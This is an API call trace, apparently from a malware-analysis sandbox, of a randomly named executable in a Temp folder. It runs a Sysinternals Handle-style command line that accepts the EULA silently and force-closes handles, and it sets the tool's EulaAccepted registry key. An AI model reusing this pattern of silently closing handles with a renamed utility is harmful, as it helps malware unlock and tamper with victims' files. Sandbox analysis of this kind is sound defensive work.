0x7715e170 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0138.652] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0138.653] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x478) returned 0x33f050 [0138.653] GetCurrentThreadId () returned 0xcf0 [0138.653] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x28) returned 0x335ed0 [0138.653] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xb00) returned 0x33f4d0 [0138.653] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x33f050)) [0138.654] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0138.654] GetFileType (hFile=0x3) returned 0x2 [0138.654] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.654] GetFileType (hFile=0x7) returned 0x2 [0138.654] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0138.654] GetFileType (hFile=0xb) returned 0x2 [0138.655] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0138.655] GetEnvironmentStringsW () returned 0x33ffe0* [0138.655] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0xb38) returned 0x340b20 [0138.655] FreeEnvironmentStringsW (penv=0x33ffe0) returned 1 [0138.655] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0138.655] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0xa8) returned 0x341660 [0138.655] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x138) returned 0x341710 [0138.655] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x3e) returned 0x336510 [0138.655] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x6c) returned 0x341850 [0138.655] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x62) returned 0x3418d0 [0138.655] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x78) returned 0x341940 [0138.655] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x62) returned 0x3419c0 [0138.655] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x2e) returned 0x33de00 [0138.655] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x48) returned 0x336560 [0138.655] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x2a) returned 0x33de40 [0138.655] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x28) returned 0x335f00 [0138.655] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x1a) returned 0x335f30 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x4a) returned 0x341a30 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x72) returned 0x341a90 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x30) returned 0x33de80 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x2e) returned 0x33dec0 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x1c) returned 0x335f60 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xd2) returned 0x341b10 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x7c) returned 0x341bf0 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x3a) returned 0x3365b0 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x90) returned 0x341c80 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x24) returned 0x335f90 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x30) returned 0x33df00 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x36) returned 0x33df40 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x3c) returned 0x336600 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x52) returned 0x341d20 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x3c) returned 0x336650 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x18) returned 0x341d80 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x82) returned 0x341da0 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x2e) returned 0x33df80 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x1e) returned 0x335fc0 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x2c) returned 0x33dfc0 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x54) returned 0x341e30 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x52) returned 0x341e90 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x2a) returned 0x33e000 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x3c) returned 0x3366a0 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x54) returned 0x341ef0 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x24) returned 0x335ff0 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x30) returned 0x33e040 [0138.656] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x8c) returned 0x33ffe0 [0138.656] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x340b20 | out: hHeap=0x320000) returned 1 [0138.657] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x1000) returned 0x340080 [0138.657] GetLastError () returned 0x0 [0138.657] SetLastError (dwErrCode=0x0) [0138.657] GetLastError () returned 0x0 [0138.657] SetLastError (dwErrCode=0x0) [0138.657] GetLastError () returned 0x0 [0138.657] SetLastError (dwErrCode=0x0) [0138.657] GetACP () returned 0x4e4 [0138.657] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x228) returned 0x341090 [0138.657] GetLastError () returned 0x0 [0138.657] SetLastError (dwErrCode=0x0) [0138.657] IsValidCodePage (CodePage=0x4e4) returned 1 [0138.657] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0138.657] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0138.657] GetLastError () returned 0x0 [0138.658] SetLastError (dwErrCode=0x0) [0138.658] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0138.658] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ巻絢餟") returned 256 [0138.658] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ巻絢餟", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0138.658] GetLastError () returned 0x0 [0138.658] SetLastError (dwErrCode=0x0) [0138.658] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0138.658] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0138.658] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0138.658] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0138.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0138.658] GetLastError () returned 0x0 [0138.658] SetLastError (dwErrCode=0x0) [0138.658] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0138.658] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0138.658] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0138.658] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0138.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0138.659] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x100) returned 0x3412c0 [0138.659] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0138.659] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x3412c0) returned 0x100 [0138.659] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0138.659] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0138.659] GetCurrentProcess () returned 0xffffffffffffffff [0138.660] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0138.660] GetLastError () returned 0x0 [0138.660] SetLastError (dwErrCode=0x0) [0138.660] GetLastError () returned 0x0 [0138.660] SetLastError (dwErrCode=0x0) [0138.660] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0138.660] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0138.661] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0138.661] RegCloseKey (hKey=0x78) returned 0x0 [0138.661] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0138.661] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0138.661] RegCloseKey (hKey=0x78) returned 0x0 [0138.661] GetLastError () returned 0x0 [0138.661] SetLastError (dwErrCode=0x0) [0138.661] GetLastError () returned 0x0 [0138.661] SetLastError (dwErrCode=0x0) [0138.661] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x78) returned 0x0 [0138.661] RegSetValueExW (in: hKey=0x78, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0138.662] RegCloseKey (hKey=0x78) returned 0x0 [0138.662] GetLastError () returned 0x0 [0138.662] SetLastError (dwErrCode=0x0) [0138.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x1000) returned 0x3423d0 [0138.662] GetLastError () returned 0x0 [0138.662] SetLastError (dwErrCode=0x0) [0138.662] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) [0138.663] GetLastError () returned 0x0 [0138.663] SetLastError (dwErrCode=0x0) 